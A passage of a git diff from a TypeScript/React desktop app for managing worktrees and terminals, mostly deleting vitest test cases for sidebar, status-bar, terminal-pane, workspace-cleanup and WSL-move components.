projectGroups: [], - remoteBranchConflictByWorktreeId: {}, - settings: null, - sshConnectionStates: new Map(), - sshTargetLabels: new Map(), - updateWorktreeMeta, - worktreeCardProperties - }) - return { - useAppStore: Object.assign((selector: (state: unknown) => unknown) => selector(getState()), { - getState, - subscribe: () => () => {} - }) - } -}) - -vi.mock('@/lib/worktree-activation', () => ({ activateAndRevealWorktree: vi.fn() })) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('./use-worktree-sleep-state', () => ({ - useIsSleepingWorktree: () => false -})) - -vi.mock('./CacheTimer', () => ({ - default: () => null, - usePromptCacheCountdownStartedAt: () => null -})) - -vi.mock('./WorktreeCardAgents', () => ({ - default: () => null -})) - -vi.mock('./WorktreeContextMenu', () => ({ - default: ({ children }: { children: ReactNode }) => <>{children}, - WORKTREE_CONTEXT_MENU_SCOPE_ATTR: 'data-orca-context-menu-scope', - WORKTREE_NATIVE_CONTEXT_MENU_ATTR: 'data-worktree-native-context-menu' -})) - -function makeRepo(): Repo { - return { - id: 'repo-1', - path: '/repo', - displayName: 'orca', - badgeColor: '#999999', - addedAt: 1 - } -} - -function makeWorktree(overrides: Partial = {}): Worktree { - return { - id: 'repo-1::/repo/worktrees/child', - repoId: 'repo-1', - path: '/repo/worktrees/child', - displayName: 'Child workspace', - branch: 'child-workspace', - head: 'abc123', - isBare: false, - isMainWorktree: false, - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1, - ...overrides - } -} - -describe('WorktreeCard lineage indicators', () => { - beforeEach(() => { - vi.clearAllMocks() - worktreeCardProperties = [] - }) - - it( - 'does not render parent lineage badge copy on workspace cards', - async () => { - const { default: WorktreeCard } = await import('./WorktreeCard') - - const markup = renderToStaticMarkup( - - ) - - expect(markup).not.toContain('Parent workspace') - expect(markup).not.toContain('parent:') - expect(markup).not.toContain('from master') - expect(markup).not.toContain('Missing parent') - expect(markup).toContain('overflow-hidden') - }, - WORKTREE_CARD_IMPORT_TIMEOUT_MS - ) - - it( - 'keeps the child workspace toggle chip', - async () => { - const { default: WorktreeCard } = await import('./WorktreeCard') - - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('aria-label="Hide 1 child workspace"') - expect(markup).toContain('1 child') - expect(markup).not.toContain('Parent workspace') - }, - WORKTREE_CARD_IMPORT_TIMEOUT_MS - ) -}) diff --git a/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx b/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx index b02d5f0747f..43ab780202d 100644 --- a/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx +++ b/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx @@ -105,32 +105,6 @@ describe('showPreservedBranchToast', () => { ) }) - it('saves the future branch choice before deleting the current branch', async () => { - const savePreference = vi.fn().mockResolvedValue(undefined) - const onForceDelete = vi.fn() - showPreservedBranchToast( - { preservedBranch: { branchName: 'feature/test', head: 'abc123' } }, - undefined, - onForceDelete, - savePreference - ) - const body = renderToastBody() - const trigger = body.querySelector('button[aria-label="More branch delete options"]') - expect(trigger).not.toBeNull() - - await act(async () => { - trigger?.dispatchEvent(new KeyboardEvent('keydown', { key: 'ArrowDown', bubbles: true })) - }) - const option = document.querySelector('[role="menuitem"]') - expect(option?.textContent).toBe('Always delete preserved branches') - await act(async () => { - option?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - - expect(savePreference).toHaveBeenCalledOnce() - expect(onForceDelete).toHaveBeenCalledWith('feature/test', 'abc123') - }) - it('keeps the branch and toast when saving the future choice fails', async () => { const savePreference = vi.fn().mockRejectedValue(new Error('disk full')) const onForceDelete = vi.fn() diff --git a/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts b/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts index 7d17862bd94..2f6dad02e4d 100644 --- a/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts +++ b/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts @@ -39,38 +39,6 @@ function context(overrides: Partial = {}): MergeContext { } describe('folder Resource Manager rows', () => { - it('names daemon-only folders using the host-reported workspace identity', () => { - const groups = mergeSnapshotAndSessions( - null, - [ - { - id: 'folder:notes@@session', - worktreeId: workspace.id, - cwd: '/notes', - title: 'Shell', - agentOwnership: 'unknown' - } - ], - context() - ) - expect(groups).toHaveLength(1) - expect(groups[0]).toMatchObject({ - repoId: workspace.repoId, - repoName: 'Documentation', - cpu: null, - memory: null, - worktrees: [ - { - worktreeId: workspace.id, - worktreeName: 'Release notes', - hasLocalSamples: false, - isRemote: false, - sessions: [{ bound: false, agentOwnership: 'unknown' }] - } - ] - }) - }) - it('merges old snapshot labels and daemon-only rows into the same named folder without losing metrics', () => { const groups = mergeSnapshotAndSessions( { worktrees: [oldRow] } as MemorySnapshot, @@ -105,19 +73,6 @@ describe('folder Resource Manager rows', () => { expect(groups[0].worktrees[1].worktreeName).toBe('Research') }) - it('keeps old snapshot labels when the folder catalog is unavailable', () => { - const groups = mergeSnapshotAndSessions( - { worktrees: [oldRow] } as MemorySnapshot, - [], - context({ worktreeById: new Map() }) - ) - expect(groups[0].worktrees[0]).toMatchObject({ - worktreeId: workspace.id, - worktreeName: workspace.id, - memory: 2048 - }) - }) - it('excludes runtime-owned folder sessions from local snapshot and daemon inputs', () => { expect( mergeSnapshotAndSessions( diff --git a/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts b/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts deleted file mode 100644 index 21f3aee3e40..00000000000 --- a/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - getResourceUsageAllWorktrees, - getResourceUsageDeferredSshSessionIdsByTabId, - getResourceUsageFolderWorkspaces, - getResourceUsageProjectGroups, - getResourceUsagePtyIdsByTabId, - getResourceUsageRepos, - getResourceUsageRuntimePaneTitlesByTabId, - getResourceUsageTerminalLayoutsByTabId, - getResourceUsageTabsByWorktree -} from './resource-usage-open-slices' -import type { AppState } from '../../store' - -const terminalTab = (id: string): AppState['tabsByWorktree'][string][number] => ({ - id, - ptyId: null, - worktreeId: 'wt-1', - title: id, - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 0 -}) - -const worktree = (): AppState['worktreesByRepo'][string][number] => ({ - id: 'wt-1', - repoId: 'repo-1', - path: '/repo/wt-1', - displayName: 'wt-1', - comment: '', - branch: 'main', - head: 'abc123', - isBare: false, - isMainWorktree: false, - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0 -}) - -describe('resource usage open slices', () => { - it('subscribes to folder and group catalogs only while open', () => { - const folderWorkspaces: AppState['folderWorkspaces'] = [] - const projectGroups: AppState['projectGroups'] = [] - expect(getResourceUsageFolderWorkspaces({ folderWorkspaces }, true)).toBe(folderWorkspaces) - expect(getResourceUsageProjectGroups({ projectGroups }, true)).toBe(projectGroups) - expect(getResourceUsageFolderWorkspaces({ folderWorkspaces }, false)).toBe( - getResourceUsageFolderWorkspaces({ folderWorkspaces: [] }, false) - ) - expect(getResourceUsageProjectGroups({ projectGroups }, false)).toBe( - getResourceUsageProjectGroups({ projectGroups: [] }, false) - ) - }) - - it('returns stable empty slices while the popover is closed', () => { - const tabsByWorktree = { 'wt-1': [terminalTab('tab-1')] } - const ptyIdsByTabId = { 'tab-1': ['pty-1'] } - const terminalLayoutsByTabId = { - 'tab-1': { - root: { type: 'leaf' as const, leafId: 'leaf-1' }, - activeLeafId: 'leaf-1', - expandedLeafId: null - } - } - const runtimePaneTitlesByTabId = { - 'tab-1': { 'tab-1:0': 'Working' } - } as AppState['runtimePaneTitlesByTabId'] - - const closedTabs = getResourceUsageTabsByWorktree({ tabsByWorktree }, false) - const closedPtyIds = getResourceUsagePtyIdsByTabId({ ptyIdsByTabId }, false) - const closedLayouts = getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId }, false) - const closedTitles = getResourceUsageRuntimePaneTitlesByTabId( - { runtimePaneTitlesByTabId }, - false - ) - - expect(closedTabs).toBe(getResourceUsageTabsByWorktree({ tabsByWorktree: {} }, false)) - expect(closedTitles).toBe( - getResourceUsageRuntimePaneTitlesByTabId({ runtimePaneTitlesByTabId: {} }, false) - ) - expect(closedPtyIds).toBe(getResourceUsagePtyIdsByTabId({ ptyIdsByTabId: {} }, false)) - expect(closedLayouts).toBe( - getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId: {} }, false) - ) - const deferredSshSessionIdsByTabId = { 'tab-1': 'pty-deferred' } - const closedDeferred = getResourceUsageDeferredSshSessionIdsByTabId( - { deferredSshSessionIdsByTabId }, - false - ) - expect(closedDeferred).toBe( - getResourceUsageDeferredSshSessionIdsByTabId({ deferredSshSessionIdsByTabId: {} }, false) - ) - - expect(closedTabs).toEqual({}) - expect(closedPtyIds).toEqual({}) - expect(closedLayouts).toEqual({}) - expect(closedTitles).toEqual({}) - expect(closedDeferred).toEqual({}) - }) - - it('returns live slices while the popover is open', () => { - const tabsByWorktree = { 'wt-1': [terminalTab('tab-1')] } - const ptyIdsByTabId = { 'tab-1': ['pty-1'] } - const terminalLayoutsByTabId = { - 'tab-1': { - root: { type: 'leaf' as const, leafId: 'leaf-1' }, - activeLeafId: 'leaf-1', - expandedLeafId: null - } - } - const runtimePaneTitlesByTabId = { - 'tab-1': { 'tab-1:0': 'Working' } - } as AppState['runtimePaneTitlesByTabId'] - - expect(getResourceUsageTabsByWorktree({ tabsByWorktree }, true)).toBe(tabsByWorktree) - expect(getResourceUsagePtyIdsByTabId({ ptyIdsByTabId }, true)).toBe(ptyIdsByTabId) - expect(getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId }, true)).toBe( - terminalLayoutsByTabId - ) - expect(getResourceUsageRuntimePaneTitlesByTabId({ runtimePaneTitlesByTabId }, true)).toBe( - runtimePaneTitlesByTabId - ) - const deferredSshSessionIdsByTabId = { 'tab-1': 'pty-deferred' } - expect( - getResourceUsageDeferredSshSessionIdsByTabId({ deferredSshSessionIdsByTabId }, true) - ).toBe(deferredSshSessionIdsByTabId) - }) - - it('gates repo and worktree slices only while closed', () => { - const repos = [ - { - id: 'repo-1', - path: '/repo', - displayName: 'repo', - badgeColor: 'blue', - addedAt: 1, - kind: 'git' - } - ] as AppState['repos'] - const row = worktree() - const worktreesByRepo = { - 'repo-1': [row] - } - - expect(getResourceUsageRepos({ repos }, false)).toBe( - getResourceUsageRepos({ repos: [] }, false) - ) - expect(getResourceUsageAllWorktrees({ worktreesByRepo }, false)).toBe( - getResourceUsageAllWorktrees({ worktreesByRepo: {} }, false) - ) - expect(getResourceUsageRepos({ repos }, true)).toBe(repos) - expect(getResourceUsageAllWorktrees({ worktreesByRepo }, true)).toEqual([row]) - }) -}) diff --git a/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx b/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx index 9342b12d559..eb6478b6cf0 100644 --- a/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx +++ b/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx @@ -45,31 +45,6 @@ function antigravityLimits(overrides: Partial = {}): Provide } } -const FIVE_HOUR_MINUTES = 300 - -function groupedLimits(): ProviderRateLimits { - const pool = (group: string, windowMinutes: number, usedPercent: number) => { - const windowName = - windowMinutes === FIVE_HOUR_MINUTES ? '5h Limit Remaining' : 'Weekly Limit Remaining' - return { - name: `${group} · ${windowName}`, - group, - windowName, - ...weeklyWindow(usedPercent), - windowMinutes - } - } - return antigravityLimits({ - weekly: weeklyWindow(4), - buckets: [ - pool('Gemini Models', WEEKLY_MINUTES, 4), - pool('Gemini Models', FIVE_HOUR_MINUTES, 0), - pool('Claude and GPT models', WEEKLY_MINUTES, 0), - pool('Claude and GPT models', FIVE_HOUR_MINUTES, 0) - ] - }) -} - describe('Antigravity status-bar segment', () => { it('renders both model-group pools by name', async () => { // Tier-specific Antigravity pool names cannot use Gemini’s experimental-model allowlist. @@ -83,71 +58,6 @@ describe('Antigravity status-bar segment', () => { expect(markup).toContain('100%') }) - it('labels grouped pools by short group and window length', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - // Why '>Gemini<': the group's `title` still holds the full name, so a bare match is vacuous. - expect(markup).toContain('>Gemini<') - expect(markup).toContain('>Claude/GPT<') - expect(markup).toContain('5h') - expect(markup).toContain('4%') - expect(markup).not.toContain('Gemini Models ·') - expect(markup).not.toContain('Limit Remaining') - expect(markup.indexOf('5h')).toBeLessThan(markup.indexOf('wk')) - }) - - it('uses the short pool label in compact mode', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('4%') - expect(markup).toContain('Gemini wk') - expect(markup).not.toContain('Limit Remaining') - }) - - it('renders no pool label when the compact bar hides labels', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('4%') - expect(markup).not.toContain('Gemini') - }) - - it('shows the weekly window when a tier reports no session pool', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('100%') - }) - - it('still renders a reading when only the weekly window is known', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('100%') - }) - it('does not widen the allowlist for providers that rely on it', async () => { // Only whole-meter bucket providers bypass the Gemini experimental-pool allowlist. const { ProviderSegment } = await import('./StatusBar') diff --git a/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx b/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx index 2ba6abfca22..7146361a8ae 100644 --- a/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx +++ b/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx @@ -93,66 +93,4 @@ describe('WorkspaceSpaceBreakdownList', () => { fireEvent.click(screen.getByText('Show more folder details')) expect(screen.getAllByText('fifth')).toHaveLength(1) }) - - it('renders one row per counted top-level item, including the omitted aggregate', () => { - const { container } = render( - - ) - - const names = renderedRowNames(container) - expect(names).toEqual(['node_modules', 'src', 'Other top-level items (7)']) - // The header count labels this list: the 7 omitted items are one aggregate row. - expect(container.textContent).toContain('9 top-level items') - expect(names.length - 1 + 7).toBe(9) - }) - - it('scales the size bars against the omitted aggregate when it is the largest item', () => { - const { container } = render( - - ) - - const widths = Array.from(container.querySelectorAll('div[style]')).map( - (node) => node.style.width - ) - expect(widths).toEqual(['25%', '100%']) - }) - - it('omits the aggregate row when nothing was omitted', () => { - const { container } = render( - - ) - - expect(renderedRowNames(container)).toEqual(['src']) - expect(container.textContent).toContain('1 top-level items') - }) - - it('explains how to inspect folders when a saved scan omits every item', () => { - const { container } = render( - - ) - - expect(container.textContent).not.toContain('No files found.') - expect(renderedRowNames(container)).toEqual([]) - expect(container.textContent).toContain('Refresh to inspect this workspace.') - }) }) diff --git a/src/renderer/src/components/task-source-provider-availability.test.ts b/src/renderer/src/components/task-source-provider-availability.test.ts index 8fd08bbf8c2..d79a070f265 100644 --- a/src/renderer/src/components/task-source-provider-availability.test.ts +++ b/src/renderer/src/components/task-source-provider-availability.test.ts @@ -37,20 +37,6 @@ describe('task source provider availability', () => { ]) }) - it('marks desktop-owned GitLab sources unavailable when glab is missing', () => { - expect( - getRepoBackedProviderAvailability({ - provider: 'gitlab', - contexts: [source('local')], - preflightReady: true, - preflightStatus: { - ...readyPreflight, - glab: { installed: false, authenticated: false } - } - }) - ).toEqual([{ hostId: 'local', reason: 'unavailable-source-tool' }]) - }) - it('marks GitLab unsupported when a host preflight payload predates GitLab support', () => { const { glab: _glab, ...preGitLabPreflight } = readyPreflight @@ -142,18 +128,4 @@ describe('task source provider availability', () => { }) ).toEqual([{ hostId: 'runtime:server', reason: 'unsupported-provider' }]) }) - - it('waits for preflight before reporting provider availability', () => { - expect( - getRepoBackedProviderAvailability({ - provider: 'github', - contexts: [source('local')], - preflightReady: false, - preflightStatus: { - ...readyPreflight, - gh: { installed: false, authenticated: false } - } - }) - ).toEqual([]) - }) }) diff --git a/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts b/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts index 9c6ac83aff5..dc711a37f19 100644 --- a/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts +++ b/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts @@ -1,9 +1,6 @@ /** Bound macOS Shift+Space switches input source without PTY bytes, including companion key events; unbound chords retain ordinary space input (#8299). */ import { describe, expect, it } from 'vitest' -import { - createTerminalNativeOnlyShortcutTracker, - getTerminalShortcutKeyIdentity -} from './terminal-native-only-shortcut' +import { createTerminalNativeOnlyShortcutTracker } from './terminal-native-only-shortcut' import { resolveTerminalShortcutAction, type TerminalShortcutEvent @@ -47,20 +44,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { } }) - it('configures Shift+Space as native-only input-source switch without sendInput', () => { - const overrides = { 'terminal.switchInputSource': ['Shift+Space'] } - const action = resolveTerminalShortcutAction( - shortcutEvent({ key: ' ', code: 'Space', shiftKey: true }), - true, - 'false', - 0, - false, - overrides - ) - expect(action).toEqual({ type: 'switchInputSource' }) - expect(action).not.toMatchObject({ type: 'sendInput' }) - }) - it('leaves unbound Shift+Space as non-action on macOS/Linux/Windows', () => { // Why: native-only behavior is opt-in; non-IME users keep ordinary Space input. for (const [isMac, isWindows] of [ @@ -94,20 +77,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { ).toEqual({ type: 'switchInputSource' }) }) - it('supports alternate OS chords such as Ctrl+Space', () => { - const overrides = { 'terminal.switchInputSource': ['Ctrl+Space'] } - expect( - resolveTerminalShortcutAction( - shortcutEvent({ key: ' ', code: 'Space', ctrlKey: true }), - false, - 'false', - 0, - false, - overrides - ) - ).toEqual({ type: 'switchInputSource' }) - }) - it('suppresses keypress/keyup companions including keypress without code', () => { // Why: Chromium keypress may omit code and only report key:" ". const tracker = createTerminalNativeOnlyShortcutTracker() @@ -117,13 +86,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { expect(tracker.consumeCompanion({ type: 'keyup', key: ' ' })).toBe(false) }) - it('normalizes Space identities across key/code aliases', () => { - expect(getTerminalShortcutKeyIdentity({ key: ' ', code: 'Space' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: ' ' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: 'Spacebar' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: 'a', code: 'KeyA' })).toBe('KeyA') - }) - it('does not suppress unrelated companions while Space is pending', () => { const tracker = createTerminalNativeOnlyShortcutTracker() tracker.armKeyDown({ key: ' ', code: 'Space' }) diff --git a/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx b/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx index ba6158ec2be..4d94fd56e48 100644 --- a/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx +++ b/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx @@ -140,26 +140,4 @@ describe('TerminalPane store subscription budget', () => { expect(boundActions[key]).toBe(state[key]) } }) - - it('never reassigns one of the bound actions, which is what makes getState() safe', () => { - const before = useAppStore.getState() as unknown as Record - const snapshot = new Map(TERMINAL_PANE_STORE_ACTION_KEYS.map((key) => [key, before[key]])) - - act(() => { - useAppStore.getState().markTerminalBell({ - worktreeId: 'repo-1::/repo/worktrees/budget', - tabId: 'tab-1', - paneKey: 'tab-1:1' - }) - useAppStore.getState().setRuntimePaneTitle('tab-1', 1, 'title') - useAppStore.getState().clearRuntimePaneTitle('tab-1', 1) - useAppStore.getState().suppressPtyExit('pty-1') - useAppStore.getState().consumeSuppressedPtyExit('pty-1') - useAppStore.getState().setCacheTimerStartedAt('cache-1', Date.now()) - }) - - const after = useAppStore.getState() as unknown as Record - const moved = TERMINAL_PANE_STORE_ACTION_KEYS.filter((key) => after[key] !== snapshot.get(key)) - expect(moved).toEqual([]) - }) }) diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx index 85913c10d1f..4e78c9ee0a5 100644 --- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx +++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx @@ -11,7 +11,7 @@ import { import { CandidateRow } from './workspace-cleanup-candidate-row' import { WorkspaceCleanupCandidateList } from './workspace-cleanup-candidate-list' import { FACET_NOW, makeNamedFacets } from './workspace-cleanup-facet.test.fixture' -import { getWorkspaceCleanupHostIdentity } from './workspace-cleanup-host-identity' + import { runWorkspaceCleanupQuery } from './workspace-cleanup-query' import type { WorkspaceCleanupFacets } from './workspace-cleanup-facets' @@ -106,18 +106,6 @@ describe('workspace cleanup flat list', () => { container = null }) - it('renders every tier in one list rather than per-tab groups', () => { - const result = query() - - renderRows(result.rows) - - expect(result.totalCount).toBe(FLEET.length) - expect(result.matchedCount).toBe(FLEET.length) - expect(renderedNames()).toEqual( - expect.arrayContaining(['ready-one', 'needs-review', 'protected-one', 'ignored-one']) - ) - }) - it('switches the visible rows when filters are applied', () => { const filters = createDefaultWorkspaceCleanupFilterState() filters.safety.dismissed = 'exclude' @@ -129,12 +117,6 @@ describe('workspace cleanup flat list', () => { expect(renderedNames()).toEqual(['ignored-one']) }) - it('lets select-all include pinned label rows', () => { - expect(query().selectableIdentities).toContain( - getWorkspaceCleanupHostIdentity('local', 'repo-1::/repo/protected-one') - ) - }) - it('offers local removal for a disconnected SSH row without making it selectable', () => { const onForgetLocally = vi.fn() const disconnected = makeNamedFacets('disconnected', { @@ -149,14 +131,4 @@ describe('workspace cleanup flat list', () => { act(() => forgetButton?.click()) expect(onForgetLocally).toHaveBeenCalledWith(disconnected.candidate) }) - - it('shows status and disk-size facts without expanding a row', () => { - renderRows(query().rows) - - expect(container?.textContent).toContain('In progress') - expect(container?.textContent).toContain('4.00 MB') - expect(container?.textContent).toContain('Not measured') - const sizedRows = [...(container?.querySelectorAll('[aria-label^="Size on disk"]') ?? [])] - expect(sizedRows).toHaveLength(FLEET.length) - }) }) diff --git a/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx b/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx index 76eec253df8..3219f785da2 100644 --- a/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx +++ b/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx @@ -17,11 +17,7 @@ vi.mock('@/lib/reveal-terminal-pane', () => ({ revealTerminalPane: vi.fn() })) const { followWslMoveOrchestratorStatus, useWslMoveOrchestratorStatus } = await import('./wsl-move-orchestrator-status') -const { WslMoveOrchestratorStatusLine, showBlockingTerminal } = - await import('./WslMoveOrchestratorStatusLine') -const { wslMoveOrchestratorLine } = await import('./wsl-move-orchestrator-copy') - -const PANE = 'tab-1:11111111-1111-4111-8111-111111111111' +const { WslMoveOrchestratorStatusLine } = await import('./WslMoveOrchestratorStatusLine') function record(state: WslMoveOrchestratorRecord['state']): WslMoveOrchestratorRecord { return { distro: 'Ubuntu', state, attempts: 0, appVersion: '1.0.0', updatedAt: 0 } @@ -94,85 +90,3 @@ describe('following the move orchestrator (D3a-2)', () => { expect(renderLine()).toBe('') }) }) - -describe('the status line, by state', () => { - const show = (state: WslMoveOrchestratorRecord['state']): string => { - useWslMoveOrchestratorStatus.setState({ - records: { ['ubuntu']: record(state) } - }) - return renderLine() - } - - it('says what is still busy for a deferred move, with Show terminal and Check again', () => { - const html = show({ - kind: 'deferred', - blockers: [{ kind: 'agent-working', ids: [PANE], actions: ['wait', 'end'] }], - rechecks: 0 - }) - expect(html).toContain('Finishing your move to the Ubuntu host') - expect(html).toContain('Show terminal') - expect(html).toContain('Check again') - }) - - it('never calls a stuck move failed', () => { - const html = show({ kind: 'parked', reason: 'stuck' }) - expect(html).toContain("An earlier move to the Ubuntu host hasn't finished settling.") - expect(html.toLowerCase()).not.toContain('fail') - expect(html).toContain('Check again') - }) - - it('says a committed earlier move finishes at restart, or now with Check again', () => { - const html = show({ kind: 'parked', reason: 'finish-pending' }) - expect(html).toContain('finishes it here when it restarts, or now with Check again') - expect(html).toContain('Check again') - }) - - it('offers only Move again for a distro the user brought back, never Not now', () => { - const html = show({ kind: 'parked', reason: 'declined', cause: 'released-here' }) - expect(html).toContain('brought these projects back to this computer') - expect(html).toContain('Move again') - expect(html).not.toContain('Not now') - }) - - it('shows nothing for a removed host or a pending Remove', () => { - expect(show({ kind: 'parked', reason: 'declined', cause: 'removed' })).toBe('') - expect(show({ kind: 'parked', reason: 'removal-pending' })).toBe('') - expect(wslMoveOrchestratorLine(undefined)).toBeNull() - }) - - // Pre-review #2: what waits for the user gets a calm line and Check again, never "failed". - it('shows a neutral paused line with Check again for each reason that waits for the user', () => { - for (const [reason, words] of [ - ['export-incomplete', "can't be carried over yet"], - ['manifest-too-large', 'more saved state than one move can carry'], - ['host-update-required', 'the host needs an update first'], - ['attempts-exhausted', "didn't complete after several tries"] - ] as const) { - const html = show({ kind: 'parked', reason }) - expect(html).toContain('Moving projects to the Ubuntu host is paused: ') - expect(html).toContain(words) - expect(html).toContain('Check again') - expect(html.toLowerCase()).not.toContain('fail') - } - }) - - it('says each blocker in one sentence', () => { - const html = show({ - kind: 'deferred', - blockers: [{ kind: 'automation-running', ids: ['run-1'], actions: ['wait'] }], - rechecks: 0 - }) - expect(html).toContain('Wait for it to finish, then check again.') - expect(html).not.toContain('Show terminal') - }) -}) - -describe('Show terminal', () => { - // Pre-review #5: a pane that is gone gets a word back, not silence. - it('says so when the terminal is no longer open', () => { - showBlockingTerminal(PANE) - expect(toasts.calls).toEqual([ - "That terminal isn't open in this window any more. Check again to refresh." - ]) - }) -}) diff --git a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx index 5f10b7a9908..7e7d56051a0 100644 --- a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx +++ b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx @@ -141,15 +141,6 @@ describe('useEphemeralVmRecipeOptions', () => { expect(container.textContent).not.toContain('stale-project') }) - it('does not probe recipes while the feature is disabled', async () => { - const listRecipes = vi.fn().mockResolvedValue(result(['hidden'])) - installApi(listRecipes) - - await render() - - expect(listRecipes).not.toHaveBeenCalled() - }) - it('does not send a paired-runtime repo id to local recipe discovery', async () => { const listRecipes = vi.fn().mockResolvedValue({ status: 'error', diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts index 688c136f385..c8c8b60a358 100644 --- a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts +++ b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts @@ -70,26 +70,6 @@ describe('pane terminal output scheduler', () => { expect(output).not.toContain('x'.repeat(1024)) }) - it('records a drop breadcrumb with sizes when the cap replaces a backlog', async () => { - vi.useFakeTimers() - const { writeTerminalOutput } = await loadScheduler() - const terminal = createTerminal() - const chunk = 'x'.repeat(512 * 1024) - - for (let i = 0; i < 5; i++) { - writeTerminalOutput(terminal, chunk, { foreground: false }) - } - - expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith( - 'terminal_output_backlog_dropped', - expect.objectContaining({ - foreground: false, - droppedChars: expect.any(Number), - capChars: 2 * 1024 * 1024 - }) - ) - }) - it('scales the backlog cap with the scrollback setting', async () => { vi.useFakeTimers() const { writeTerminalOutput, configureTerminalOutputBacklogCap } = await loadScheduler() diff --git a/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx b/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx index ebc8bff2b26..60d66b0776f 100644 --- a/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx +++ b/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx @@ -27,9 +27,6 @@ vi.mock('@/lib/crash-breadcrumb-recorder', () => ({ recordRendererCrashBreadcrumb: (name: string, data?: unknown) => recordBreadcrumb(name, data) })) -// Allow the measured 438-byte single-driver sample but reject raw stacks/uncapped keys; production bundle basenames are shorter. -const MAX_CASCADE_CRUMB_BYTES = 768 - /** Enough to pass the notice limit while staying under React's own 50-commit bail. */ const CASCADE_TICKS = REACT_COMMIT_CASCADE_NOTICE_LIMIT + 5 @@ -132,18 +129,6 @@ describe('react commit cascade observer', () => { expect(invocationsAtReport).toBe(REACT_COMMIT_CASCADE_NOTICE_LIMIT) }) - // A stack-suffixed key allows 4000 chars; enforce bytes explicitly to reject raw stacks or uncapped key lists. - it('keeps the crumb inside a flat byte budget', () => { - act(() => { - root.render() - }) - - const payload = recordBreadcrumb.mock.calls.find( - ([name]) => name === REACT_COMMIT_CASCADE_BREADCRUMB - )?.[1] - 